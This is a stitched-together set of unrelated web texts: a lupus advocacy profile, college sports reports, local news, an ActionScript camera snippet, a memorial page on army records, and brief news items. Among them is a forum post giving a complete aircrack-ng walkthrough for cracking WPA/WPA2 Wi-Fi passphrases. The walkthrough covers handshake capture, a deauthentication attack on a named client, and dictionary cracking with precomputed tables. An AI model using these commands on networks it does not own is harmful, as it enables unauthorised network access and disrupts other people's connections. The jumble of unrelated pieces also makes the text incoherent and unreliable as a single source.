In addition to her work with the LRI, Kathleen is president/CEO of one of LRI most active Patient Coalition member organizations, Lupus Foundation of Mid and Northern NY and has been a regional and national advocate for lupus and autoimmune diseases. She has provided public witness testimony before the U.S. Food and Drug Administration, Congress, NYS Legislature, and many other federal and state government agencies and committees.
"We are very proud of Kathleen for her effectiveness as a strong advocate on behalf of all lupus patients throughout New York State and the entire country," noted LRI president Margaret Dowd. She is a tremendous asset to the LRI National Coalition of patient advocates and truly one of the most eloquent voices of the lupus community."


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Very nice guide, I've been watching the rest videos that you posted and they are awsome :P, Can you please PM me the name of the song you used in this video ? For some reason I can't see the end of the movie ... and the song name :-??
Watch on-line: http://g0tmi1k.blip.tv/file/2318855
Download: http://www.mediafire.com/?m0mwz2zxjmj
Commands: http://pastebin.com/f3041b00c
What is this?
How to crack a wireless network using WPA/WPA2 (PSK/AES) encryption with a connected client (as both have same method!) . Then using a pre-computed hash table which has been "pre-salted" with the ESSID for the network to get the pass-phrase.
How does this work?
> Captures a 4-way handshake
> Creates a quick DoS (Denial of Service) attack at connected client to force them to disconnect and reconnect
> Apply a brute force dictionary attack to the handshake
What do I need?
> Aircrack-ng suite
> WiFi card that supports monitor mode
> Big dictionary
> Processing power
Name: Aircrack-ng
Version: 1.0-rc3
Home Page: http://www.aircrack-ng.org/doku.php
Download Link: http://download.aircrack-ng.org/airc...1.0-rc3.tar.gzCommands:
Notes:Code:airmon-ng start wlan0 airodump-ng mon0 airodump-ng --bssid 00:1B:9E:B2:60:00 -c 1 -w output mon0 aireplay-ng --deauth 10 -a 00:1B:9E:B2:60:00 -c 00:12:17:94:90:0D mon0 airolib-ng crackwpa --import passwd /root/tools/dictionaries/g0tmi1k.lst kate ~/essid airolib-ng crackwpa --import essid ~/essid airolib-ng crackwpa --stats airolib-ng crackwpa --clean all airolib-ng crackwpa --batch airolib-ng crackwpa --verify all aircrack-ng -r crackwpa output*.cap
This is cut from my final video called "g0tmi1k's home network".
There HAS to be a CONNECT client.
The pass-phrase HAS to be in the dictionary - so if you use something like http://grc.com/pass, the chances of it being crack is next to nothing!
Song: Sub Focus - Rock It
Video length: 03:53
Capture length: 04:03
Blog Post:http://g0tmi1k.blogspot.com/2009/07/...k-wpawpa2.html
Forum Post: http://www.backtrack-linux.org/forum...irolib-ng.html
Dictionaries: http://g0tmi1k.blogspot.com/2010/02/site-news-isos-and-dictionaries.html
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Very nice guide, I've been watching the rest videos that you posted and they are awsome :P, Can you please PM me the name of the song you used in this video ? For some reason I can't see the end of the movie ... and the song name :-??
Really great work g0tmi1k, I tried to reply on your blog but I need an account. So I reply here.
Unfortunately I m noob here so I can t send you PM. I hope see you soon
thanks for video
That I will find tool
Nice work
hope to crack wifi with Radius server soon
Do you know what RADIUS is?
RADIUS is providing a vehicle for dynamically varying data encryption keys via EAP, so no use to crack a key which is changing regularly.
i they have removed the video in the given links .. i know this thread is for long time a go but it seems to be full of tips!! so plz upload it again! thanks anyway!


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Lions Welcome Junior-College Transfer
SAINT LEO, Fla. – Tennis Coach James Bryce has announced the signing of Laredo Community College transfer Antoine Raffaelli to a National Letter of Intent to play tennis for the Lions' men's team.
Raffaelli is the Lions' lone men's signee for 2011.
Coming off one of the most successful seasons in program history, and collecting the most wins (14) of any Lions' men's team since 1988 (16), the Lions return all but two players from their 2010-11 NCAA Tournament squad.
The addition of Raffaelli will only bolster the team's chances at improving in a very difficult Sunshine State Conference and south region.
Antoine Raffaelli
5'9" | Jr.
Epinay sur orge, France
Institut Dechamps/Laredo Community College
Raffaelli comes to the Lions as the 46th-ranked singles player in the country at the junior college level according to the ITA (Intercollegiate Tennis Association).
Helping his squad to the 2010 NJCAA National Championship, the incoming junior ranked as high as 17th as a singles player in 2011.
In two years he amassed 32 singles victories and 21 doubles wins. His best season, however, came as a sophomore as he went 14-5 playing out of three flight singles.
In addition, Raffaelli registered a 12-4 doubles mark playing the majority of his season out of the No.3 position.
Bryce's Perspective: "Antoine has been a huge part of the recent success at Laredo over the last two years. His JUCO experience and mental toughness will add to our lineup as we look to build off of last year's successes. Being from France, he will have an easier transition as we have two other French players on the squad. He was a tremendous player at the JUCO level and I believe his talents will improve our squad for this year."
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ORLANDO, Fla. - Orlando police say they've tracked down an 800-pound gorilla on Tuesday that was stolen from an Orlando hotel last month.
Police told Local 6 the gorilla was reported missing before Thanksgiving. It had been stolen from The Metropolitan Express at 6323 International Drive, according to Orlando police.
[PICS: Gorilla stolen from hotel]
The bronze gorilla statue is valued between $5,000- $8,000.
Giovani Alba tells Local 6 he found the giant gorilla on his doorstep on Capri Place located in The Towns Of Southgate Complex, which is roughly four miles away from the hotel.
" I came home it scared me, the gorilla on my doorstep" said Alba.
According to Alba, one of his friends discovered the gorilla under some brush within the complex while walking his dog.
According to Alba's friend, he and another friend dragged the gorilla out of the wooded area, using a dolly." Alba then helped his friends move it upstairs.
"We're like 'let's carry it upstairs,' and here it is three weeks later, said Alba.
According to Alba, he says he did not realize the gorilla had been stolen until Christmas Day when he did an online search of 'bronze gorillas' and found Local 6's original report in November when the statue vanished.
Orlando police say they were called out to the home and a police report was filed. No charges are being filed in the case.
Officers say the hotel must determine how the metal statue will be transported from Alba's porch back to the hotel.
Because of the Christmas holiday, the hotel was not available for comment.
A second similar gorilla statue remains at the hotel, but it's now chained to a tree.
There is no formal reward for the gorilla's safe return, but the bartender at the hotel's tiki bar says they'll buy a round of drinks for whoever locates the stolen statue.
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To be honest, the API is not quite as elegant as I'd like because making it consistent across platforms (mobile and desktop) meant having to compromise a little intuitiveness, but it's easy enough to figure out, and most importantly, it's entirely cross-platform. The code below shows a simple function that will return the requested camera:
// Get the requested camera. If it cannot be found, // return the device's default camera instead. private function getCamera(position:String):Camera { for (var i:uint = 0; i < Camera.names.length; ++i) { var cam:Camera = Camera.getCamera(String(i)); if (cam.position == position) return cam; } return Camera.getCamera(); }
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NEWBERRY, SC – Claiming their fifth consecutive victory, the Saint Leo women's lacrosse team jumped out early and then held off a furious rally as they defeated host Newberry College 9-8 on the road on Saturday afternoon.
Saint Leo (8-5) opened up the afternoon's scoring with 26:13 on the clock as Alix Murray tallied the first goal of the day, before assisting on Joanna Chadwick's goal less than a minute later. With 24:06 on the clock, benefited from a Paige Leggio assist as she put the Lions ahead of the Wolves (7-7) 3-0. A second goal by Chadwick extended the Lions run to four straight goals, before the Wolves called a timeout with 19:05 remaining in the first half.
It appeared the Wolves were unable to use the timeout to stop the Lions' building momentum, as Saint Leo controlled the following draw. Murray was soon disposed by Barlage who picked up the ground ball and sprinted down the field toward goal where she beat Brittany Millsap for her first goal of the day.
Barlage wasn't done as she netted another goal two minutes later to bring the Wolves within two goals of the Lions. Saint Leo responded to Barlage's offensive assault with three straight goals before halftime to send the Lions to half with a 6-3 lead.
The second half began with Newberry controlling its first draw of the day as sophomore Victoria Thomas opened up the half with the ball in her position. After sophomore Tessa Davis saw a shot saved by Millsap, who immediately saw her outlet pass set up the seventh goal of the game for the Lions.
Another full field performance for a Newberry player soon followed the Lions' seventh goal, as junior Olivia Lawnick ran the length of the field and scored her first goal of the season to cut the Saint Leo lead to 7-4.
The three goal difference was short lived as the Lions struck for a pair of goals under the 20-minute mark to take a 9-4 lead.
After four minutes of lacrosse with little offensive movement, Newberry freshman Jessica Baxtrom forced a Saint Leo turnover before recovering the ground ball and leading the Wolves to a successful clearance. With the ball in Newberry's offensive third, Barlage drew a free position opportunity and scored her 38th goal of the season.
Momentum continued to shift Newberry's way as Thomas controlled the ensuing draw at 13:33 and soon saw freshman Carly Marksberry curl from behind the goal to slot a shot past Millsap for the Wolves' sixth goal of the day.
Newberry's goal scoring streak continued soon after some strong play on the defensive end. The Wolves successfully blocked a Saint Leo free position shot with 11:27 remaining, before turning toward their own offensive end and drawing a free position as a Saint Leo player headed to the sideline with a yellow card. After some confusion in front of the goal crease, Newberry freshman Alexis Cathcart drew a second straight free position chance, which she converted for her fourth goal of the year.
The following nine minutes of the game saw the Wolves and the Lions' defenses do battle as both teams saw chances in their offensive thirds turned away by strong defensive play. In one of the biggest moments of the day, Thomas forced a streaking Allie Shefthall out of bounds with under two minutes to go, allowing the Wolves another offensive opportunity.
Baxtrom tested Millsap, but was turned away before Davis took a chance herself and saw the ball beat Millsap for her 13th goal of the year. Saint Leo looked to ice the game after controlling the following draw, but wound up turning the ball over off a caused turnover from Baxtrom. Baxtrom's forced turnover resulted in a Newberry clearance and a shot by Cathcart which was saved by Millsap.
Millsap looked to wind down the clock by launching the ball downfield, where it was picked up by Lawnick. With the ball in the offensive end, Newberry looked to tie the game up, as Barlage found space to shoot, but saw her shot waived off despite the ball settling in the back of the net.
The Lions return to Florida and now prepare to face Florida Southern on April 12. Saint Leo and the Moccasins will get underway at 7:00 p.m. in Lakeland.
For the latest news, updates, and information, fans can 'Like' the Lions on Facebook and follow us on Twitter.
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Every staff member at Kingston Hospital will be trained to communicate with patients who have dementia.
The plan is part of the hospital's three-year dementia strategy, set to be discussed at tomorrow's trust board meeting.
Nearly half of the hospital's patients over 75 either have, or are suspected to have, the condition – double the national average and attributed to the borough's high life expectancy.
Chief executive Kate Grimes said: "We need to completely rethink the way we care for patients on our wards – changing sterile clinical environments with lots of corners, into one that is easier for patients to navigate and less alienating.
"Patients with dementia do often have multiple and very complex needs and being in hospital can be very unsettling and, for some, a frightening experience."
A report by nursing director Duncan Burton says: "We are proud of the services we deliver but we know there is more we can do to improve."
Steps already taken include using blue forget-me-not markers on charts of patients with dementia, and putting carers on a team representing patients with the condition.
The hospital hopes to let patients "maintain their rituals and routines despite being in hospital" and allow carers to take part in patients' care.
Patients should be diagnosed quickly and have a cognitive test within 24 hours if necessary.


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Hattiesburg, Miss., February 21, 2013 - Dr. Paul Cotten, professor of psychology at William Carey University, will present a lecture titled, "Mental Health Services: From Institutional to Deinstitutional" on Thursday, February 28, from 3- 4 p.m. in the Lucile Parker Gallery at WCU. This lecture in one in the WCU's University Lecture Series.
The presentation will address the mental health service system in Mississippi from its origin of being completely dependent upon the large state hospital to the current system of regional and local services for those who are able to be treated appropriately. The model today utilized is one of "deinstitutionalization" as contrasted with transinstitutionalization, in which the mentally ill are alternately and repeatedly routed between the mental health and criminal justice systems. The presentation will also address factors which have influenced the options available to individuals in need and their families. The goal with this change in process is to provide the support and assistance mentally ill persons need while at the same time not fostering the individual to become dependent upon the system.
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John Tortorella announced that he's gotten the OK from doctors, trainers and the player for Marc Staal to return from his concussion issues today at 3 p.m.
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- Also known as:
- A second Army Serial Number, 0-1 744 870 1
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- A first Army Serial Number: 12221805 Pfc 1
- Full Name:
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- Birth:
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- Cause: blood disease, MyeloDysplasia (MDS) > Acute Myeloid Leukemia 1
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- From: 02 Jul 1943 1
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Original 1943-1953 Army Discharge Papers only released post-mortem from Dr. F.D. Haffner's private files
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Despite my repeated requests for access to the military papers, during preparation of an extensive Chronology for Dr. Frederick D. Haffner, during 2011, I was only enabled access to his original military files, post mortem, 4 Dec 2011. Dr. Fred Haffner had advised me (first, at a formal Travel Club dinner) that there was some confusion that the federal government couldnt find his service, but I never got to see Karen Cooper's reply letter, et al. (as I wrote about above) during Fred's lifetime; Fred had also told me that his discharge papers were in his safety deposit box, but during his final illness he was perhaps, unable to retrieve them (or perhaps got them at some point during 2011 since he was still driving for some time, and perhaps, put them into his home files, so that one day I could see the same?) Or perhaps his son retrieved them from the safety deposit box in Dec 2011, as executor of the doctor's estate, and then finally released the same after I pointedly showed him Fred's signature at the funeral home on the request form submitted by me to St. Louis....) The sequence here is unclear, so I apologize for the vagueness here in my explantion.
In any event, I now have further proof of Fred Haffner's army service, as of December 15, 2011, and am hoping to discern the best way to reinstate the proper record here. As such, I have entered several of the factual items into the Fact section above, on this new Memorial Page, in progress. His 1943-1944 ASTP service appears to be in addition to his 1946 active service, and his later Army Reserve service (prior to 1953) but I am still deciphering this; I prepared a Chronology with Fred Haffner's ardent help during 2011, so hopefully all the puzzle pieces will fall together here.


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COUNCILLORS voted to launch a public consultation on cost-cutting proposals to transfer sporting facilities to community management in Weymouth and Portland.
The draft sports facilities strategy, which includes options for the future of The Marsh in Westham and Weymouth Swimming Pool, was discussed at a management committee meeting.
It was produced following concerns over running and maintenance costs at both venues.
The move has been welcomed by the Friends of the Marsh group, who told the Echo they would even consider taking on the management of the popular Westham site.
Chairman of the committee Mike Goodman praised the 'excellent work' carried out to produce the strategy and all members agreed that it should be put to full public consultation.
Coun Ian Roebuck said: "The council needs to move from its role as operator to facilitator of venues which can be given over to community management."
The report, produced by the policy development committee, says the community hand-over would allow the council to change its role while considering 'the difficult financial climate for local authorities'.
Facilities, which are either run directly by the council or operated by others on their behalf, include Redlands Community Sports Hub, The Front Skate Park, bowls clubs, watersports clubs, tennis courts and grass pitches.
It recommends that a 'masterplan' engaging the local community and stakeholders is made for the future of The Marsh, which is owned and run directly by the council.
Although it has pointed out that 'there is little prospect of a new, high quality athletics facility' at this location or elsewhere in the borough due to cost and demand.
Councillors expressed the desperate need to address the future of Weymouth Swimming Pool, including options to tackle likely sources of funding available for refurbishment, alternative operating models and long-term revenue costs.
It has been estimated that repair work at the 40-year-old building is set to cost more than £900,000 over the next three years.
• The task to develop a strategy for council-owned sport facilities was put to the policy development committee following a management committee meeting held last year.
The council's adopted corporate plan includes an action to 'develop a strategic plan for sports facilities in the borough by March 2014'.
Following public consultation, whereby tenants, hirers and key users will be asked to share their views, a report will be submitted back to the policy development committee and a revised strategy put before management in May 2014.
Facilities go to young players
COUNCILLORS voted to release sports facilities at Grove Corner to Portland United Youth Football Club.
All members of a management committee meeting agreed the move which includes the playing field and Portacabin changing rooms.
It comes ahead of the draft sports facilities strategy to release formerly council-owned and managed venues to community management.
Dave Symes, chairman of Portland United Youth Club, said he was 'delighted' at the management committee decision and said he hoped they could help lead the way for more community-run sports facilities in the borough.
He said: "We started out over 15 years ago with 10 kids and jumpers for goalposts. We now have more than 230 members.
"Community management allows the people to decide what they want and to attract more funding grants to keep the site up to date."
Councillors considered that the release will enable the club to bid for improvement grants to develop firstly the changing facilities and then the playing surfaces at the site.
Groups welcome idea
LOCAL sports groups and leaders have welcomed the idea of community management at The Marsh.
The Friends of the Marsh group said they were 'actively supporting' the strategy and would be willing to take over the management of the site, as a representative body of residents and local sports.
Miles Wheller, vice chairman of the group, said the Strategy was discussed in depth at their last meeting.
He added: "We are actively supporting the idea of a community organisation taking on the management of The Marsh.
"We fully appreciate that the council do not have the resources to update the facilities at the site but a community group would have access to a whole range of sporting funds and grants to do so.
"It is something that we as a group would be willing to do."
The Friends formed originally to safeguard the area from building development.
Don Whistance, Conifer's Primary School teacher and chairman of the South Dorset Sports Association, said the idea of community management was very welcome but stressed the need for a new, all-weather athletics track at the site.
He says youngsters in the borough have to travel miles to compete and criticised the poor condition of the running track.
The draft sports facilities strategy suggests a transfer of areas of The Marsh to community management 'without ongoing financial support'.
It also states that the existing track surface at The Marsh is 'liked by its users' with no immediate change planned to the facilities there.
Mr Whistance added: "I don't know how the council can say users 'like' the athletics track.
"I just hope whoever does end up running it keeps pushing for a new, all-purpose track for the talented youngsters in the borough."
Maintenance costs for athletics facility and grass pitches of around £60,000 per annum.
Options open for centre
THE draft sports facilities strategy considers options for the future of Weymouth Swimming and Fitness Centre.
Estimated repair work at Weymouth Swimming and Fitness Centre will cost £971,525 over the next three years, plus VAT, fees and inflation.
The report says: "The pool's equipment and systems are in need of investment and renewal if the centre is to continue to operate much beyond the period of the current management contract, which ends in 2017."
It suggests that a detailed appraisal needs to be undertaken by mid-2015 to leave sufficient time if another operating contract were to be produced by 2017.
At present the council pays SLM Ltd an annual management fee of £187,000 and covers the costs of all utilities, which costs £106,000 per year.
The cost of demolishing the current building is estimated at around £880,000, according to the strategy.
THE draft sports facilities strategy includes:
• Weymouth Swimming and Fitness Centre, owned by the council and operated by SLM Ltd.
• Redlands Community Sports Hub, owned by council with 25-year lease given to Weymouth College in 2011.
• The Marsh athletics facility and pitches, council-owned and managed.
• The Marsh club house, council-owned building leased to Cougars FC and Weymouth St Paul's Harriers & Athletics Club.
• STEPS youth club, freehold owned by council and leased to Dorset County Council for 25 years.
• Weymouth Squash and Fitness Club, freehold owned by the council.
• Grove Road sports field, Portland, council currently holds freehold.
• Weymouth Rugby Club, council owns freehold and leased to club for 50 years from 1985.
• Moonfleet 2000 Indoor Bowls Club (The Marsh), land leased to Moonfleet bowling club until April 2099 and the club own the building.
• Greenhill Bowling Club, council owns freehold and leases to club.
• Weymouth and Melcombe Regis Bowls Club, council owns freehold and leases to club until 2023.
• Victoria Gardens Bowling Green and Pavilion, green managed by council but club rents Pavilion from council.
• Victoria Garden Tennis Courts, leased from the Crown and operated by the council.
• Greenhill Gardens Tennis Courts and Putting Green, licence to the cafe operator has expired.
• Radipole Park tennis and basketball Courts, public courts are council operated and free to use and tarmac courts and pavilion leased to the club for 28 years until 2002.
• Wyke Regis Gardens Tennis Courts, operated by council.
• The Front skate park, council owns freehold and leased to Weymouth College/The Front.
• Portland Skate Park, council owns freehold and manages the site.
• Watersports clubs including Weymouth Rowing Club, Weymouth Sailing Club, Weymouth Sea Cadets, Weymouth Outdoor Education Centre – council holds freehold and leases out.


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The number of Muslims in China was stated as 22 millions in a news on China National Radio (CNR). China is the most populous country in the World with a population of 1.3 billion. It has 100 millions people having religious beliefs, 85 thousand temples, and three thousand sects. In the news, it is said that ten out of a 56 ethnical groups, believe in Islam, and there are around 22 millions Muslim in the country. It was emphasized that there have been one place of worship for every 400 Muslim. In Xinjiang Uighur autonomous region that has totally got 24 thousands mosque.


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The federal deficit totaled $91.6 billion in the first month of Fiscal 2014, down from $120 billion a year earlier, according to the Treasury Department. This follows a total deficit for Fiscal 2013 of $680 billion -- the first time in four years the annual deficit was below $1 trillion.
But total federal debt continues to climb above $17.1 trillion, which is why Congress will soon need to approve another increase in the debt limit. In addition, government projections show the annual deficit will begin climbing again within a few years.
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